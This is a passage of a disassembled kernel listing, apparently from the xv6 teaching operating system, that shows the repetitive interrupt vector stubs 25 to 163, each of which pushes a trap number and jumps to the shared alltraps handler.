vector25 vector25: pushl $0 80105fe8: 6a 00 push $0x0 pushl $25 80105fea: 6a 19 push $0x19 jmp alltraps 80105fec: e9 96 fa ff ff jmp 80105a87 <alltraps> 80105ff1 <vector26>: .globl vector26 vector26: pushl $0 80105ff1: 6a 00 push $0x0 pushl $26 80105ff3: 6a 1a push $0x1a jmp alltraps 80105ff5: e9 8d fa ff ff jmp 80105a87 <alltraps> 80105ffa <vector27>: .globl vector27 vector27: pushl $0 80105ffa: 6a 00 push $0x0 pushl $27 80105ffc: 6a 1b push $0x1b jmp alltraps 80105ffe: e9 84 fa ff ff jmp 80105a87 <alltraps> 80106003 <vector28>: .globl vector28 vector28: pushl $0 80106003: 6a 00 push $0x0 pushl $28 80106005: 6a 1c push $0x1c jmp alltraps 80106007: e9 7b fa ff ff jmp 80105a87 <alltraps> 8010600c <vector29>: .globl vector29 vector29: pushl $0 8010600c: 6a 00 push $0x0 pushl $29 8010600e: 6a 1d push $0x1d jmp alltraps 80106010: e9 72 fa ff ff jmp 80105a87 <alltraps> 80106015 <vector30>: .globl vector30 vector30: pushl $0 80106015: 6a 00 push $0x0 pushl $30 80106017: 6a 1e push $0x1e jmp alltraps 80106019: e9 69 fa ff ff jmp 80105a87 <alltraps> 8010601e <vector31>: .globl vector31 vector31: pushl $0 8010601e: 6a 00 push $0x0 pushl $31 80106020: 6a 1f push $0x1f jmp alltraps 80106022: e9 60 fa ff ff jmp 80105a87 <alltraps> 80106027 <vector32>: .globl vector32 vector32: pushl $0 80106027: 6a 00 push $0x0 pushl $32 80106029: 6a 20 push $0x20 jmp alltraps 8010602b: e9 57 fa ff ff jmp 80105a87 <alltraps> 80106030 <vector33>: .globl vector33 vector33: pushl $0 80106030: 6a 00 push $0x0 pushl $33 80106032: 6a 21 push $0x21 jmp alltraps 80106034: e9 4e fa ff ff jmp 80105a87 <alltraps> 80106039 <vector34>: .globl vector34 vector34: pushl $0 80106039: 6a 00 push $0x0 pushl $34 8010603b: 6a 22 push $0x22 jmp alltraps 8010603d: e9 45 fa ff ff jmp 80105a87 <alltraps> 80106042 <vector35>: .globl vector35 vector35: pushl $0 80106042: 6a 00 push $0x0 pushl $35 80106044: 6a 23 push $0x23 jmp alltraps 80106046: e9 3c fa ff ff jmp 80105a87 <alltraps> 8010604b <vector36>: .globl vector36 vector36: pushl $0 8010604b: 6a 00 push $0x0 pushl $36 8010604d: 6a 24 push $0x24 jmp alltraps 8010604f: e9 33 fa ff ff jmp 80105a87 <alltraps> 80106054 <vector37>: .globl vector37 vector37: pushl $0 80106054: 6a 00 push $0x0 pushl $37 80106056: 6a 25 push $0x25 jmp alltraps 80106058: e9 2a fa ff ff jmp 80105a87 <alltraps> 8010605d <vector38>: .globl vector38 vector38: pushl $0 8010605d: 6a 00 push $0x0 pushl $38 8010605f: 6a 26 push $0x26 jmp alltraps 80106061: e9 21 fa ff ff jmp 80105a87 <alltraps> 80106066 <vector39>: .globl vector39 vector39: pushl $0 80106066: 6a 00 push $0x0 pushl $39 80106068: 6a 27 push $0x27 jmp alltraps 8010606a: e9 18 fa ff ff jmp 80105a87 <alltraps> 8010606f <vector40>: .globl vector40 vector40: pushl $0 8010606f: 6a 00 push $0x0 pushl $40 80106071: 6a 28 push $0x28 jmp alltraps 80106073: e9 0f fa ff ff jmp 80105a87 <alltraps> 80106078 <vector41>: .globl vector41 vector41: pushl $0 80106078: 6a 00 push $0x0 pushl $41 8010607a: 6a 29 push $0x29 jmp alltraps 8010607c: e9 06 fa ff ff jmp 80105a87 <alltraps> 80106081 <vector42>: .globl vector42 vector42: pushl $0 80106081: 6a 00 push $0x0 pushl $42 80106083: 6a 2a push $0x2a jmp alltraps 80106085: e9 fd f9 ff ff jmp 80105a87 <alltraps> 8010608a <vector43>: .globl vector43 vector43: pushl $0 8010608a: 6a 00 push $0x0 pushl $43 8010608c: 6a 2b push $0x2b jmp alltraps 8010608e: e9 f4 f9 ff ff jmp 80105a87 <alltraps> 80106093 <vector44>: .globl vector44 vector44: pushl $0 80106093: 6a 00 push $0x0 pushl $44 80106095: 6a 2c push $0x2c jmp alltraps 80106097: e9 eb f9 ff ff jmp 80105a87 <alltraps> 8010609c <vector45>: .globl vector45 vector45: pushl $0 8010609c: 6a 00 push $0x0 pushl $45 8010609e: 6a 2d push $0x2d jmp alltraps 801060a0: e9 e2 f9 ff ff jmp 80105a87 <alltraps> 801060a5 <vector46>: .globl vector46 vector46: pushl $0 801060a5: 6a 00 push $0x0 pushl $46 801060a7: 6a 2e push $0x2e jmp alltraps 801060a9: e9 d9 f9 ff ff jmp 80105a87 <alltraps> 801060ae <vector47>: .globl vector47 vector47: pushl $0 801060ae: 6a 00 push $0x0 pushl $47 801060b0: 6a 2f push $0x2f jmp alltraps 801060b2: e9 d0 f9 ff ff jmp 80105a87 <alltraps> 801060b7 <vector48>: .globl vector48 vector48: pushl $0 801060b7: 6a 00 push $0x0 pushl $48 801060b9: 6a 30 push $0x30 jmp alltraps 801060bb: e9 c7 f9 ff ff jmp 80105a87 <alltraps> 801060c0 <vector49>: .globl vector49 vector49: pushl $0 801060c0: 6a 00 push $0x0 pushl $49 801060c2: 6a 31 push $0x31 jmp alltraps 801060c4: e9 be f9 ff ff jmp 80105a87 <alltraps> 801060c9 <vector50>: .globl vector50 vector50: pushl $0 801060c9: 6a 00 push $0x0 pushl $50 801060cb: 6a 32 push $0x32 jmp alltraps 801060cd: e9 b5 f9 ff ff jmp 80105a87 <alltraps> 801060d2 <vector51>: .globl vector51 vector51: pushl $0 801060d2: 6a 00 push $0x0 pushl $51 801060d4: 6a 33 push $0x33 jmp alltraps 801060d6: e9 ac f9 ff ff jmp 80105a87 <alltraps> 801060db <vector52>: .globl vector52 vector52: pushl $0 801060db: 6a 00 push $0x0 pushl $52 801060dd: 6a 34 push $0x34 jmp alltraps 801060df: e9 a3 f9 ff ff jmp 80105a87 <alltraps> 801060e4 <vector53>: .globl vector53 vector53: pushl $0 801060e4: 6a 00 push $0x0 pushl $53 801060e6: 6a 35 push $0x35 jmp alltraps 801060e8: e9 9a f9 ff ff jmp 80105a87 <alltraps> 801060ed <vector54>: .globl vector54 vector54: pushl $0 801060ed: 6a 00 push $0x0 pushl $54 801060ef: 6a 36 push $0x36 jmp alltraps 801060f1: e9 91 f9 ff ff jmp 80105a87 <alltraps> 801060f6 <vector55>: .globl vector55 vector55: pushl $0 801060f6: 6a 00 push $0x0 pushl $55 801060f8: 6a 37 push $0x37 jmp alltraps 801060fa: e9 88 f9 ff ff jmp 80105a87 <alltraps> 801060ff <vector56>: .globl vector56 vector56: pushl $0 801060ff: 6a 00 push $0x0 pushl $56 80106101: 6a 38 push $0x38 jmp alltraps 80106103: e9 7f f9 ff ff jmp 80105a87 <alltraps> 80106108 <vector57>: .globl vector57 vector57: pushl $0 80106108: 6a 00 push $0x0 pushl $57 8010610a: 6a 39 push $0x39 jmp alltraps 8010610c: e9 76 f9 ff ff jmp 80105a87 <alltraps> 80106111 <vector58>: .globl vector58 vector58: pushl $0 80106111: 6a 00 push $0x0 pushl $58 80106113: 6a 3a push $0x3a jmp alltraps 80106115: e9 6d f9 ff ff jmp 80105a87 <alltraps> 8010611a <vector59>: .globl vector59 vector59: pushl $0 8010611a: 6a 00 push $0x0 pushl $59 8010611c: 6a 3b push $0x3b jmp alltraps 8010611e: e9 64 f9 ff ff jmp 80105a87 <alltraps> 80106123 <vector60>: .globl vector60 vector60: pushl $0 80106123: 6a 00 push $0x0 pushl $60 80106125: 6a 3c push $0x3c jmp alltraps 80106127: e9 5b f9 ff ff jmp 80105a87 <alltraps> 8010612c <vector61>: .globl vector61 vector61: pushl $0 8010612c: 6a 00 push $0x0 pushl $61 8010612e: 6a 3d push $0x3d jmp alltraps 80106130: e9 52 f9 ff ff jmp 80105a87 <alltraps> 80106135 <vector62>: .globl vector62 vector62: pushl $0 80106135: 6a 00 push $0x0 pushl $62 80106137: 6a 3e push $0x3e jmp alltraps 80106139: e9 49 f9 ff ff jmp 80105a87 <alltraps> 8010613e <vector63>: .globl vector63 vector63: pushl $0 8010613e: 6a 00 push $0x0 pushl $63 80106140: 6a 3f push $0x3f jmp alltraps 80106142: e9 40 f9 ff ff jmp 80105a87 <alltraps> 80106147 <vector64>: .globl vector64 vector64: pushl $0 80106147: 6a 00 push $0x0 pushl $64 80106149: 6a 40 push $0x40 jmp alltraps 8010614b: e9 37 f9 ff ff jmp 80105a87 <alltraps> 80106150 <vector65>: .globl vector65 vector65: pushl $0 80106150: 6a 00 push $0x0 pushl $65 80106152: 6a 41 push $0x41 jmp alltraps 80106154: e9 2e f9 ff ff jmp 80105a87 <alltraps> 80106159 <vector66>: .globl vector66 vector66: pushl $0 80106159: 6a 00 push $0x0 pushl $66 8010615b: 6a 42 push $0x42 jmp alltraps 8010615d: e9 25 f9 ff ff jmp 80105a87 <alltraps> 80106162 <vector67>: .globl vector67 vector67: pushl $0 80106162: 6a 00 push $0x0 pushl $67 80106164: 6a 43 push $0x43 jmp alltraps 80106166: e9 1c f9 ff ff jmp 80105a87 <alltraps> 8010616b <vector68>: .globl vector68 vector68: pushl $0 8010616b: 6a 00 push $0x0 pushl $68 8010616d: 6a 44 push $0x44 jmp alltraps 8010616f: e9 13 f9 ff ff jmp 80105a87 <alltraps> 80106174 <vector69>: .globl vector69 vector69: pushl $0 80106174: 6a 00 push $0x0 pushl $69 80106176: 6a 45 push $0x45 jmp alltraps 80106178: e9 0a f9 ff ff jmp 80105a87 <alltraps> 8010617d <vector70>: .globl vector70 vector70: pushl $0 8010617d: 6a 00 push $0x0 pushl $70 8010617f: 6a 46 push $0x46 jmp alltraps 80106181: e9 01 f9 ff ff jmp 80105a87 <alltraps> 80106186 <vector71>: .globl vector71 vector71: pushl $0 80106186: 6a 00 push $0x0 pushl $71 80106188: 6a 47 push $0x47 jmp alltraps 8010618a: e9 f8 f8 ff ff jmp 80105a87 <alltraps> 8010618f <vector72>: .globl vector72 vector72: pushl $0 8010618f: 6a 00 push $0x0 pushl $72 80106191: 6a 48 push $0x48 jmp alltraps 80106193: e9 ef f8 ff ff jmp 80105a87 <alltraps> 80106198 <vector73>: .globl vector73 vector73: pushl $0 80106198: 6a 00 push $0x0 pushl $73 8010619a: 6a 49 push $0x49 jmp alltraps 8010619c: e9 e6 f8 ff ff jmp 80105a87 <alltraps> 801061a1 <vector74>: .globl vector74 vector74: pushl $0 801061a1: 6a 00 push $0x0 pushl $74 801061a3: 6a 4a push $0x4a jmp alltraps 801061a5: e9 dd f8 ff ff jmp 80105a87 <alltraps> 801061aa <vector75>: .globl vector75 vector75: pushl $0 801061aa: 6a 00 push $0x0 pushl $75 801061ac: 6a 4b push $0x4b jmp alltraps 801061ae: e9 d4 f8 ff ff jmp 80105a87 <alltraps> 801061b3 <vector76>: .globl vector76 vector76: pushl $0 801061b3: 6a 00 push $0x0 pushl $76 801061b5: 6a 4c push $0x4c jmp alltraps 801061b7: e9 cb f8 ff ff jmp 80105a87 <alltraps> 801061bc <vector77>: .globl vector77 vector77: pushl $0 801061bc: 6a 00 push $0x0 pushl $77 801061be: 6a 4d push $0x4d jmp alltraps 801061c0: e9 c2 f8 ff ff jmp 80105a87 <alltraps> 801061c5 <vector78>: .globl vector78 vector78: pushl $0 801061c5: 6a 00 push $0x0 pushl $78 801061c7: 6a 4e push $0x4e jmp alltraps 801061c9: e9 b9 f8 ff ff jmp 80105a87 <alltraps> 801061ce <vector79>: .globl vector79 vector79: pushl $0 801061ce: 6a 00 push $0x0 pushl $79 801061d0: 6a 4f push $0x4f jmp alltraps 801061d2: e9 b0 f8 ff ff jmp 80105a87 <alltraps> 801061d7 <vector80>: .globl vector80 vector80: pushl $0 801061d7: 6a 00 push $0x0 pushl $80 801061d9: 6a 50 push $0x50 jmp alltraps 801061db: e9 a7 f8 ff ff jmp 80105a87 <alltraps> 801061e0 <vector81>: .globl vector81 vector81: pushl $0 801061e0: 6a 00 push $0x0 pushl $81 801061e2: 6a 51 push $0x51 jmp alltraps 801061e4: e9 9e f8 ff ff jmp 80105a87 <alltraps> 801061e9 <vector82>: .globl vector82 vector82: pushl $0 801061e9: 6a 00 push $0x0 pushl $82 801061eb: 6a 52 push $0x52 jmp alltraps 801061ed: e9 95 f8 ff ff jmp 80105a87 <alltraps> 801061f2 <vector83>: .globl vector83 vector83: pushl $0 801061f2: 6a 00 push $0x0 pushl $83 801061f4: 6a 53 push $0x53 jmp alltraps 801061f6: e9 8c f8 ff ff jmp 80105a87 <alltraps> 801061fb <vector84>: .globl vector84 vector84: pushl $0 801061fb: 6a 00 push $0x0 pushl $84 801061fd: 6a 54 push $0x54 jmp alltraps 801061ff: e9 83 f8 ff ff jmp 80105a87 <alltraps> 80106204 <vector85>: .globl vector85 vector85: pushl $0 80106204: 6a 00 push $0x0 pushl $85 80106206: 6a 55 push $0x55 jmp alltraps 80106208: e9 7a f8 ff ff jmp 80105a87 <alltraps> 8010620d <vector86>: .globl vector86 vector86: pushl $0 8010620d: 6a 00 push $0x0 pushl $86 8010620f: 6a 56 push $0x56 jmp alltraps 80106211: e9 71 f8 ff ff jmp 80105a87 <alltraps> 80106216 <vector87>: .globl vector87 vector87: pushl $0 80106216: 6a 00 push $0x0 pushl $87 80106218: 6a 57 push $0x57 jmp alltraps 8010621a: e9 68 f8 ff ff jmp 80105a87 <alltraps> 8010621f <vector88>: .globl vector88 vector88: pushl $0 8010621f: 6a 00 push $0x0 pushl $88 80106221: 6a 58 push $0x58 jmp alltraps 80106223: e9 5f f8 ff ff jmp 80105a87 <alltraps> 80106228 <vector89>: .globl vector89 vector89: pushl $0 80106228: 6a 00 push $0x0 pushl $89 8010622a: 6a 59 push $0x59 jmp alltraps 8010622c: e9 56 f8 ff ff jmp 80105a87 <alltraps> 80106231 <vector90>: .globl vector90 vector90: pushl $0 80106231: 6a 00 push $0x0 pushl $90 80106233: 6a 5a push $0x5a jmp alltraps 80106235: e9 4d f8 ff ff jmp 80105a87 <alltraps> 8010623a <vector91>: .globl vector91 vector91: pushl $0 8010623a: 6a 00 push $0x0 pushl $91 8010623c: 6a 5b push $0x5b jmp alltraps 8010623e: e9 44 f8 ff ff jmp 80105a87 <alltraps> 80106243 <vector92>: .globl vector92 vector92: pushl $0 80106243: 6a 00 push $0x0 pushl $92 80106245: 6a 5c push $0x5c jmp alltraps 80106247: e9 3b f8 ff ff jmp 80105a87 <alltraps> 8010624c <vector93>: .globl vector93 vector93: pushl $0 8010624c: 6a 00 push $0x0 pushl $93 8010624e: 6a 5d push $0x5d jmp alltraps 80106250: e9 32 f8 ff ff jmp 80105a87 <alltraps> 80106255 <vector94>: .globl vector94 vector94: pushl $0 80106255: 6a 00 push $0x0 pushl $94 80106257: 6a 5e push $0x5e jmp alltraps 80106259: e9 29 f8 ff ff jmp 80105a87 <alltraps> 8010625e <vector95>: .globl vector95 vector95: pushl $0 8010625e: 6a 00 push $0x0 pushl $95 80106260: 6a 5f push $0x5f jmp alltraps 80106262: e9 20 f8 ff ff jmp 80105a87 <alltraps> 80106267 <vector96>: .globl vector96 vector96: pushl $0 80106267: 6a 00 push $0x0 pushl $96 80106269: 6a 60 push $0x60 jmp alltraps 8010626b: e9 17 f8 ff ff jmp 80105a87 <alltraps> 80106270 <vector97>: .globl vector97 vector97: pushl $0 80106270: 6a 00 push $0x0 pushl $97 80106272: 6a 61 push $0x61 jmp alltraps 80106274: e9 0e f8 ff ff jmp 80105a87 <alltraps> 80106279 <vector98>: .globl vector98 vector98: pushl $0 80106279: 6a 00 push $0x0 pushl $98 8010627b: 6a 62 push $0x62 jmp alltraps 8010627d: e9 05 f8 ff ff jmp 80105a87 <alltraps> 80106282 <vector99>: .globl vector99 vector99: pushl $0 80106282: 6a 00 push $0x0 pushl $99 80106284: 6a 63 push $0x63 jmp alltraps 80106286: e9 fc f7 ff ff jmp 80105a87 <alltraps> 8010628b <vector100>: .globl vector100 vector100: pushl $0 8010628b: 6a 00 push $0x0 pushl $100 8010628d: 6a 64 push $0x64 jmp alltraps 8010628f: e9 f3 f7 ff ff jmp 80105a87 <alltraps> 80106294 <vector101>: .globl vector101 vector101: pushl $0 80106294: 6a 00 push $0x0 pushl $101 80106296: 6a 65 push $0x65 jmp alltraps 80106298: e9 ea f7 ff ff jmp 80105a87 <alltraps> 8010629d <vector102>: .globl vector102 vector102: pushl $0 8010629d: 6a 00 push $0x0 pushl $102 8010629f: 6a 66 push $0x66 jmp alltraps 801062a1: e9 e1 f7 ff ff jmp 80105a87 <alltraps> 801062a6 <vector103>: .globl vector103 vector103: pushl $0 801062a6: 6a 00 push $0x0 pushl $103 801062a8: 6a 67 push $0x67 jmp alltraps 801062aa: e9 d8 f7 ff ff jmp 80105a87 <alltraps> 801062af <vector104>: .globl vector104 vector104: pushl $0 801062af: 6a 00 push $0x0 pushl $104 801062b1: 6a 68 push $0x68 jmp alltraps 801062b3: e9 cf f7 ff ff jmp 80105a87 <alltraps> 801062b8 <vector105>: .globl vector105 vector105: pushl $0 801062b8: 6a 00 push $0x0 pushl $105 801062ba: 6a 69 push $0x69 jmp alltraps 801062bc: e9 c6 f7 ff ff jmp 80105a87 <alltraps> 801062c1 <vector106>: .globl vector106 vector106: pushl $0 801062c1: 6a 00 push $0x0 pushl $106 801062c3: 6a 6a push $0x6a jmp alltraps 801062c5: e9 bd f7 ff ff jmp 80105a87 <alltraps> 801062ca <vector107>: .globl vector107 vector107: pushl $0 801062ca: 6a 00 push $0x0 pushl $107 801062cc: 6a 6b push $0x6b jmp alltraps 801062ce: e9 b4 f7 ff ff jmp 80105a87 <alltraps> 801062d3 <vector108>: .globl vector108 vector108: pushl $0 801062d3: 6a 00 push $0x0 pushl $108 801062d5: 6a 6c push $0x6c jmp alltraps 801062d7: e9 ab f7 ff ff jmp 80105a87 <alltraps> 801062dc <vector109>: .globl vector109 vector109: pushl $0 801062dc: 6a 00 push $0x0 pushl $109 801062de: 6a 6d push $0x6d jmp alltraps 801062e0: e9 a2 f7 ff ff jmp 80105a87 <alltraps> 801062e5 <vector110>: .globl vector110 vector110: pushl $0 801062e5: 6a 00 push $0x0 pushl $110 801062e7: 6a 6e push $0x6e jmp alltraps 801062e9: e9 99 f7 ff ff jmp 80105a87 <alltraps> 801062ee <vector111>: .globl vector111 vector111: pushl $0 801062ee: 6a 00 push $0x0 pushl $111 801062f0: 6a 6f push $0x6f jmp alltraps 801062f2: e9 90 f7 ff ff jmp 80105a87 <alltraps> 801062f7 <vector112>: .globl vector112 vector112: pushl $0 801062f7: 6a 00 push $0x0 pushl $112 801062f9: 6a 70 push $0x70 jmp alltraps 801062fb: e9 87 f7 ff ff jmp 80105a87 <alltraps> 80106300 <vector113>: .globl vector113 vector113: pushl $0 80106300: 6a 00 push $0x0 pushl $113 80106302: 6a 71 push $0x71 jmp alltraps 80106304: e9 7e f7 ff ff jmp 80105a87 <alltraps> 80106309 <vector114>: .globl vector114 vector114: pushl $0 80106309: 6a 00 push $0x0 pushl $114 8010630b: 6a 72 push $0x72 jmp alltraps 8010630d: e9 75 f7 ff ff jmp 80105a87 <alltraps> 80106312 <vector115>: .globl vector115 vector115: pushl $0 80106312: 6a 00 push $0x0 pushl $115 80106314: 6a 73 push $0x73 jmp alltraps 80106316: e9 6c f7 ff ff jmp 80105a87 <alltraps> 8010631b <vector116>: .globl vector116 vector116: pushl $0 8010631b: 6a 00 push $0x0 pushl $116 8010631d: 6a 74 push $0x74 jmp alltraps 8010631f: e9 63 f7 ff ff jmp 80105a87 <alltraps> 80106324 <vector117>: .globl vector117 vector117: pushl $0 80106324: 6a 00 push $0x0 pushl $117 80106326: 6a 75 push $0x75 jmp alltraps 80106328: e9 5a f7 ff ff jmp 80105a87 <alltraps> 8010632d <vector118>: .globl vector118 vector118: pushl $0 8010632d: 6a 00 push $0x0 pushl $118 8010632f: 6a 76 push $0x76 jmp alltraps 80106331: e9 51 f7 ff ff jmp 80105a87 <alltraps> 80106336 <vector119>: .globl vector119 vector119: pushl $0 80106336: 6a 00 push $0x0 pushl $119 80106338: 6a 77 push $0x77 jmp alltraps 8010633a: e9 48 f7 ff ff jmp 80105a87 <alltraps> 8010633f <vector120>: .globl vector120 vector120: pushl $0 8010633f: 6a 00 push $0x0 pushl $120 80106341: 6a 78 push $0x78 jmp alltraps 80106343: e9 3f f7 ff ff jmp 80105a87 <alltraps> 80106348 <vector121>: .globl vector121 vector121: pushl $0 80106348: 6a 00 push $0x0 pushl $121 8010634a: 6a 79 push $0x79 jmp alltraps 8010634c: e9 36 f7 ff ff jmp 80105a87 <alltraps> 80106351 <vector122>: .globl vector122 vector122: pushl $0 80106351: 6a 00 push $0x0 pushl $122 80106353: 6a 7a push $0x7a jmp alltraps 80106355: e9 2d f7 ff ff jmp 80105a87 <alltraps> 8010635a <vector123>: .globl vector123 vector123: pushl $0 8010635a: 6a 00 push $0x0 pushl $123 8010635c: 6a 7b push $0x7b jmp alltraps 8010635e: e9 24 f7 ff ff jmp 80105a87 <alltraps> 80106363 <vector124>: .globl vector124 vector124: pushl $0 80106363: 6a 00 push $0x0 pushl $124 80106365: 6a 7c push $0x7c jmp alltraps 80106367: e9 1b f7 ff ff jmp 80105a87 <alltraps> 8010636c <vector125>: .globl vector125 vector125: pushl $0 8010636c: 6a 00 push $0x0 pushl $125 8010636e: 6a 7d push $0x7d jmp alltraps 80106370: e9 12 f7 ff ff jmp 80105a87 <alltraps> 80106375 <vector126>: .globl vector126 vector126: pushl $0 80106375: 6a 00 push $0x0 pushl $126 80106377: 6a 7e push $0x7e jmp alltraps 80106379: e9 09 f7 ff ff jmp 80105a87 <alltraps> 8010637e <vector127>: .globl vector127 vector127: pushl $0 8010637e: 6a 00 push $0x0 pushl $127 80106380: 6a 7f push $0x7f jmp alltraps 80106382: e9 00 f7 ff ff jmp 80105a87 <alltraps> 80106387 <vector128>: .globl vector128 vector128: pushl $0 80106387: 6a 00 push $0x0 pushl $128 80106389: 68 80 00 00 00 push $0x80 jmp alltraps 8010638e: e9 f4 f6 ff ff jmp 80105a87 <alltraps> 80106393 <vector129>: .globl vector129 vector129: pushl $0 80106393: 6a 00 push $0x0 pushl $129 80106395: 68 81 00 00 00 push $0x81 jmp alltraps 8010639a: e9 e8 f6 ff ff jmp 80105a87 <alltraps> 8010639f <vector130>: .globl vector130 vector130: pushl $0 8010639f: 6a 00 push $0x0 pushl $130 801063a1: 68 82 00 00 00 push $0x82 jmp alltraps 801063a6: e9 dc f6 ff ff jmp 80105a87 <alltraps> 801063ab <vector131>: .globl vector131 vector131: pushl $0 801063ab: 6a 00 push $0x0 pushl $131 801063ad: 68 83 00 00 00 push $0x83 jmp alltraps 801063b2: e9 d0 f6 ff ff jmp 80105a87 <alltraps> 801063b7 <vector132>: .globl vector132 vector132: pushl $0 801063b7: 6a 00 push $0x0 pushl $132 801063b9: 68 84 00 00 00 push $0x84 jmp alltraps 801063be: e9 c4 f6 ff ff jmp 80105a87 <alltraps> 801063c3 <vector133>: .globl vector133 vector133: pushl $0 801063c3: 6a 00 push $0x0 pushl $133 801063c5: 68 85 00 00 00 push $0x85 jmp alltraps 801063ca: e9 b8 f6 ff ff jmp 80105a87 <alltraps> 801063cf <vector134>: .globl vector134 vector134: pushl $0 801063cf: 6a 00 push $0x0 pushl $134 801063d1: 68 86 00 00 00 push $0x86 jmp alltraps 801063d6: e9 ac f6 ff ff jmp 80105a87 <alltraps> 801063db <vector135>: .globl vector135 vector135: pushl $0 801063db: 6a 00 push $0x0 pushl $135 801063dd: 68 87 00 00 00 push $0x87 jmp alltraps 801063e2: e9 a0 f6 ff ff jmp 80105a87 <alltraps> 801063e7 <vector136>: .globl vector136 vector136: pushl $0 801063e7: 6a 00 push $0x0 pushl $136 801063e9: 68 88 00 00 00 push $0x88 jmp alltraps 801063ee: e9 94 f6 ff ff jmp 80105a87 <alltraps> 801063f3 <vector137>: .globl vector137 vector137: pushl $0 801063f3: 6a 00 push $0x0 pushl $137 801063f5: 68 89 00 00 00 push $0x89 jmp alltraps 801063fa: e9 88 f6 ff ff jmp 80105a87 <alltraps> 801063ff <vector138>: .globl vector138 vector138: pushl $0 801063ff: 6a 00 push $0x0 pushl $138 80106401: 68 8a 00 00 00 push $0x8a jmp alltraps 80106406: e9 7c f6 ff ff jmp 80105a87 <alltraps> 8010640b <vector139>: .globl vector139 vector139: pushl $0 8010640b: 6a 00 push $0x0 pushl $139 8010640d: 68 8b 00 00 00 push $0x8b jmp alltraps 80106412: e9 70 f6 ff ff jmp 80105a87 <alltraps> 80106417 <vector140>: .globl vector140 vector140: pushl $0 80106417: 6a 00 push $0x0 pushl $140 80106419: 68 8c 00 00 00 push $0x8c jmp alltraps 8010641e: e9 64 f6 ff ff jmp 80105a87 <alltraps> 80106423 <vector141>: .globl vector141 vector141: pushl $0 80106423: 6a 00 push $0x0 pushl $141 80106425: 68 8d 00 00 00 push $0x8d jmp alltraps 8010642a: e9 58 f6 ff ff jmp 80105a87 <alltraps> 8010642f <vector142>: .globl vector142 vector142: pushl $0 8010642f: 6a 00 push $0x0 pushl $142 80106431: 68 8e 00 00 00 push $0x8e jmp alltraps 80106436: e9 4c f6 ff ff jmp 80105a87 <alltraps> 8010643b <vector143>: .globl vector143 vector143: pushl $0 8010643b: 6a 00 push $0x0 pushl $143 8010643d: 68 8f 00 00 00 push $0x8f jmp alltraps 80106442: e9 40 f6 ff ff jmp 80105a87 <alltraps> 80106447 <vector144>: .globl vector144 vector144: pushl $0 80106447: 6a 00 push $0x0 pushl $144 80106449: 68 90 00 00 00 push $0x90 jmp alltraps 8010644e: e9 34 f6 ff ff jmp 80105a87 <alltraps> 80106453 <vector145>: .globl vector145 vector145: pushl $0 80106453: 6a 00 push $0x0 pushl $145 80106455: 68 91 00 00 00 push $0x91 jmp alltraps 8010645a: e9 28 f6 ff ff jmp 80105a87 <alltraps> 8010645f <vector146>: .globl vector146 vector146: pushl $0 8010645f: 6a 00 push $0x0 pushl $146 80106461: 68 92 00 00 00 push $0x92 jmp alltraps 80106466: e9 1c f6 ff ff jmp 80105a87 <alltraps> 8010646b <vector147>: .globl vector147 vector147: pushl $0 8010646b: 6a 00 push $0x0 pushl $147 8010646d: 68 93 00 00 00 push $0x93 jmp alltraps 80106472: e9 10 f6 ff ff jmp 80105a87 <alltraps> 80106477 <vector148>: .globl vector148 vector148: pushl $0 80106477: 6a 00 push $0x0 pushl $148 80106479: 68 94 00 00 00 push $0x94 jmp alltraps 8010647e: e9 04 f6 ff ff jmp 80105a87 <alltraps> 80106483 <vector149>: .globl vector149 vector149: pushl $0 80106483: 6a 00 push $0x0 pushl $149 80106485: 68 95 00 00 00 push $0x95 jmp alltraps 8010648a: e9 f8 f5 ff ff jmp 80105a87 <alltraps> 8010648f <vector150>: .globl vector150 vector150: pushl $0 8010648f: 6a 00 push $0x0 pushl $150 80106491: 68 96 00 00 00 push $0x96 jmp alltraps 80106496: e9 ec f5 ff ff jmp 80105a87 <alltraps> 8010649b <vector151>: .globl vector151 vector151: pushl $0 8010649b: 6a 00 push $0x0 pushl $151 8010649d: 68 97 00 00 00 push $0x97 jmp alltraps 801064a2: e9 e0 f5 ff ff jmp 80105a87 <alltraps> 801064a7 <vector152>: .globl vector152 vector152: pushl $0 801064a7: 6a 00 push $0x0 pushl $152 801064a9: 68 98 00 00 00 push $0x98 jmp alltraps 801064ae: e9 d4 f5 ff ff jmp 80105a87 <alltraps> 801064b3 <vector153>: .globl vector153 vector153: pushl $0 801064b3: 6a 00 push $0x0 pushl $153 801064b5: 68 99 00 00 00 push $0x99 jmp alltraps 801064ba: e9 c8 f5 ff ff jmp 80105a87 <alltraps> 801064bf <vector154>: .globl vector154 vector154: pushl $0 801064bf: 6a 00 push $0x0 pushl $154 801064c1: 68 9a 00 00 00 push $0x9a jmp alltraps 801064c6: e9 bc f5 ff ff jmp 80105a87 <alltraps> 801064cb <vector155>: .globl vector155 vector155: pushl $0 801064cb: 6a 00 push $0x0 pushl $155 801064cd: 68 9b 00 00 00 push $0x9b jmp alltraps 801064d2: e9 b0 f5 ff ff jmp 80105a87 <alltraps> 801064d7 <vector156>: .globl vector156 vector156: pushl $0 801064d7: 6a 00 push $0x0 pushl $156 801064d9: 68 9c 00 00 00 push $0x9c jmp alltraps 801064de: e9 a4 f5 ff ff jmp 80105a87 <alltraps> 801064e3 <vector157>: .globl vector157 vector157: pushl $0 801064e3: 6a 00 push $0x0 pushl $157 801064e5: 68 9d 00 00 00 push $0x9d jmp alltraps 801064ea: e9 98 f5 ff ff jmp 80105a87 <alltraps> 801064ef <vector158>: .globl vector158 vector158: pushl $0 801064ef: 6a 00 push $0x0 pushl $158 801064f1: 68 9e 00 00 00 push $0x9e jmp alltraps 801064f6: e9 8c f5 ff ff jmp 80105a87 <alltraps> 801064fb <vector159>: .globl vector159 vector159: pushl $0 801064fb: 6a 00 push $0x0 pushl $159 801064fd: 68 9f 00 00 00 push $0x9f jmp alltraps 80106502: e9 80 f5 ff ff jmp 80105a87 <alltraps> 80106507 <vector160>: .globl vector160 vector160: pushl $0 80106507: 6a 00 push $0x0 pushl $160 80106509: 68 a0 00 00 00 push $0xa0 jmp alltraps 8010650e: e9 74 f5 ff ff jmp 80105a87 <alltraps> 80106513 <vector161>: .globl vector161 vector161: pushl $0 80106513: 6a 00 push $0x0 pushl $161 80106515: 68 a1 00 00 00 push $0xa1 jmp alltraps 8010651a: e9 68 f5 ff ff jmp 80105a87 <alltraps> 8010651f <vector162>: .globl vector162 vector162: pushl $0 8010651f: 6a 00 push $0x0 pushl $162 80106521: 68 a2 00 00 00 push $0xa2 jmp alltraps 80106526: e9 5c f5 ff ff jmp 80105a87 <alltraps> 8010652b <vector163>: .globl vector163 vector163: pushl $0 8010652b: 6a 